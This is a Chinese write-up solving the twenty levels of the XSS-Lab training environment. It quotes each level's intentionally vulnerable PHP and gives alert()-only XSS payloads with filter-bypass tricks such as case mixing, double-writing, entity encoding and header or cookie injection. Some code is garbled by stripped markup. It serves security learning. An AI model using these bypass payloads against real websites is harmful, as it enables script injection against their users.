XSS-Lab闯关笔记

xss-lab项目地址:https://github.com/rebo-rn/xss-lab

xss学习文章:https://wizardforcel.gitbooks.io/xss-naxienian/content/0.html

xss-lab在线环境::https://xss.angelo.org.cn/

XSS-Lab

  • level1
  • level2
  • level3
  • level4
  • level5
  • level6
  • level7
  • level8
  • level9
  • level10
  • level11
  • level12
  • level13
  • level14
  • level15
  • level16
  • level17
  • level18
  • level19
  • level20


level1

从源码中可以看到这里并没有对输入的name参数进行任何过滤就直接放入了

标签内

$str = $_GET["name"];
echo "

欢迎用户".$str."

"
;
<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(777)</script>

level2

XSS-Lab闯关笔记_第1张图片

$str = $_GET["keyword"];
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str.'">

输入的内容被插入到了页面的两个地方,

内的$str已经被htmlspecialchars()转义成html实体,所以可以闭合内的value的值插入on事件触发xss或者闭合标签

m0c1nu7"><script>alert('xss')</script>
m0c1nu7" onclick=alert('xss')//

javascript常见事件

事件 描述
onclick 鼠标点击html元素时执行
onload 加载对象完成时执行
onfocus 元素获得焦点时执行
onsubmit 表单提交时执行
onmousemove 鼠标光标在元素上移动时执行
onselect 当元素被选择时执行
onkeydown 按下键盘按键时执行
onchange HTML 元素改变时执行

level3

XSS-Lab闯关笔记_第2张图片

$str = $_GET["keyword"];
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
."
>

输出点还是这两个,两个地方都是用了htmlspecialchars()转换html实体名称,但是htmlspecialchars()却对单引号'是没有作用的,因为单引号没有实体名称的,单引号只有实体编码/实体数字,而且这里的value=''使用单引号包裹的,所以闭合单引号,使用事件触发xss即可

' οnclick=alert('xss')//
1' onclick=alert(1)//

level4

XSS-Lab闯关笔记_第3张图片

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str3.'">

过滤了尖括号<>,不能闭合标签,但是在标签内可以使用事件触发xss

" οnclick=alert("xss")//
" onclick=alert(7)//

level5

XSS-Lab闯关笔记_第4张图片

$str = strtolower($_GET["keyword"]);
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str3.'">

过滤了on事件、,标签内的事件触发不太可能了,尝试闭合标签,因为这里没有过滤<>,使用标签和javascript伪协议

test">:alert(1);">click me</a>
test">:alert('xss');">click me</a>
test">:alert(/xss/);">click me</a>

level6

XSS-Lab闯关笔记_第5张图片

$str = $_GET["keyword"];
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">

对传入的值没有做大小写统一转换,可以使用大小写绕过过滤

" Onclick=alert(7)//
mochu"><ScRiPt>alert('xss')</sCrIpT>
mochu">:alert(/xss/)">click me</a>

level7

XSS-Lab闯关笔记_第6张图片

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">

过滤机制是替换为空,可以双写字符绕过

" oonnclick=alert("xss")//
mochu">alert("xss")</scrscriptipt>
mochu">:alert(/xss/)">click me</a>

level8

XSS-Lab闯关笔记_第7张图片

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
.htmlspecialchars($str).'">
'
; ?> echo '

.$str7.'">友情链接
'
; ?> <center><img src=level8.jpg></center> echo "

payload的长度:".strlen($str7)."

"
; ?>

$str输出点被htmlspecialchars()转换了,而且这里value=""是双引号包裹,双引号会被转化为实体名称,所以第一个输出点没法利用,第二个的输出点替换了很多关键字符,但是可以是使用html实体编码绕过

html实体编码在线:https://www.qqxiuzi.cn/bianma/zifushiti.php

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;&#59;

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;&#x3B;

level9

XSS-Lab闯关笔记_第8张图片

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
.htmlspecialchars($str).'">
'
; ?> if(false===strpos($str7,'http://')) { echo '

友情链接
'
; } else { echo '

.$str7.'">友情链接
'
; } ?> <center><img src=level9.png></center> echo "

payload的长度:".strlen($str7)."

"
; ?>

value=""的输出点无法利用,标签的输出点使用html实体编码绕过,然后加上前提条件:在输入的字符中含有http://

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

level10

XSS-Lab闯关笔记_第9张图片

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?> <center><img src=level10.png></center> echo "

payload的长度:".strlen($str)."

"
; ?>

在页面中看只有keyword这一个回显点,但是从源码中看还有个t_sort的GET传参,并且type="hedden"需要触发XSS还需要把这个type改成button

click me" οnclick=alert("xss") type="button"

level11

XSS-Lab闯关笔记_第10张图片

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?> <center><img src=level11.png></center> echo "

payload的长度:".strlen($str)."

"
; ?>

keywordt_sort两个参数的输出点无法利用,从源码中看到有个请求头HTTP_REFERER插入到了页面中,并且过滤了尖括号<>,但是还是可以利用事件触发XSS

抓包,添加一个HTTP请求头的Referer:即可

Referer: click me" οnclick=alert("xss") type="button"

level12

XSS-Lab闯关笔记_第11张图片

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?> <center><img src=level12.png></center> echo "

payload的长度:".strlen($str)."

"
; ?>

三个可控制点,但是前两个都无法利用,请求头HTTP_USER_AGENT只过滤了尖括号<>就插入了页面中,抓包修改User-Agent:即可

User-Agent: click me" οnclick=alert("xss") type="button"

level13

XSS-Lab闯关笔记_第12张图片

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?> <center><img src=level13.png></center> echo "

payload的长度:".strlen($str)."

"
; ?>

Cookie可被控制,并且插入到页面内

Cookie: user=click me" οnclick=alert("xss") type="button"

level14

XSS-Lab闯关笔记_第13张图片
exif xss这关无法复现

level15

XSS-Lab闯关笔记_第14张图片
这里的ng-includeangularjs的用法,相当于phpinclude,可以包含html(php)文件,所以调用其他关卡即可

src='level1.php?name='

level16

XSS-Lab闯关笔记_第15张图片

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace("	"," ",$str4);
echo "
".$str5."
"
; ?> <center><img src=level16.png></center> echo "

payload的长度:".strlen($str5)."

"
; ?>

过滤了/script空格,输出位置在

中,双标签无法使用,使用单标签,并且使用%0a%0d作为分隔符代替空格

<img%0asrc="mochu7"%0aonerror="alert(7)">

level17

XSS-Lab闯关笔记_第16张图片

echo ".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

输出点直接插在标签内,可以直接插入事件,但是双引号被转换实体名称,然后再测试的过程中发现,空格就可以直接分隔属性,在事件前面加个空格就可以把事件分隔出来

 onmousemove=alert(7)

level18

XSS-Lab闯关笔记_第17张图片

echo ".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

和上一题一样

 onmousemove=alert(7)

level19

XSS-Lab闯关笔记_第18张图片

echo '.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';

flash xss
相关文章:
https://www.secpulse.com/archives/44299.html
https://wizardforcel.gitbooks.io/xss-naxienian/content/14.html

?arg01=version&arg02=<a%20href="javascript:alert(7)">test</a>

level20

XSS-Lab闯关笔记_第19张图片

echo '.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';

zeroclipboard xss
相关文章:https://www.freebuf.com/sectool/108568.html

?arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

你可能感兴趣的:(Web,Security)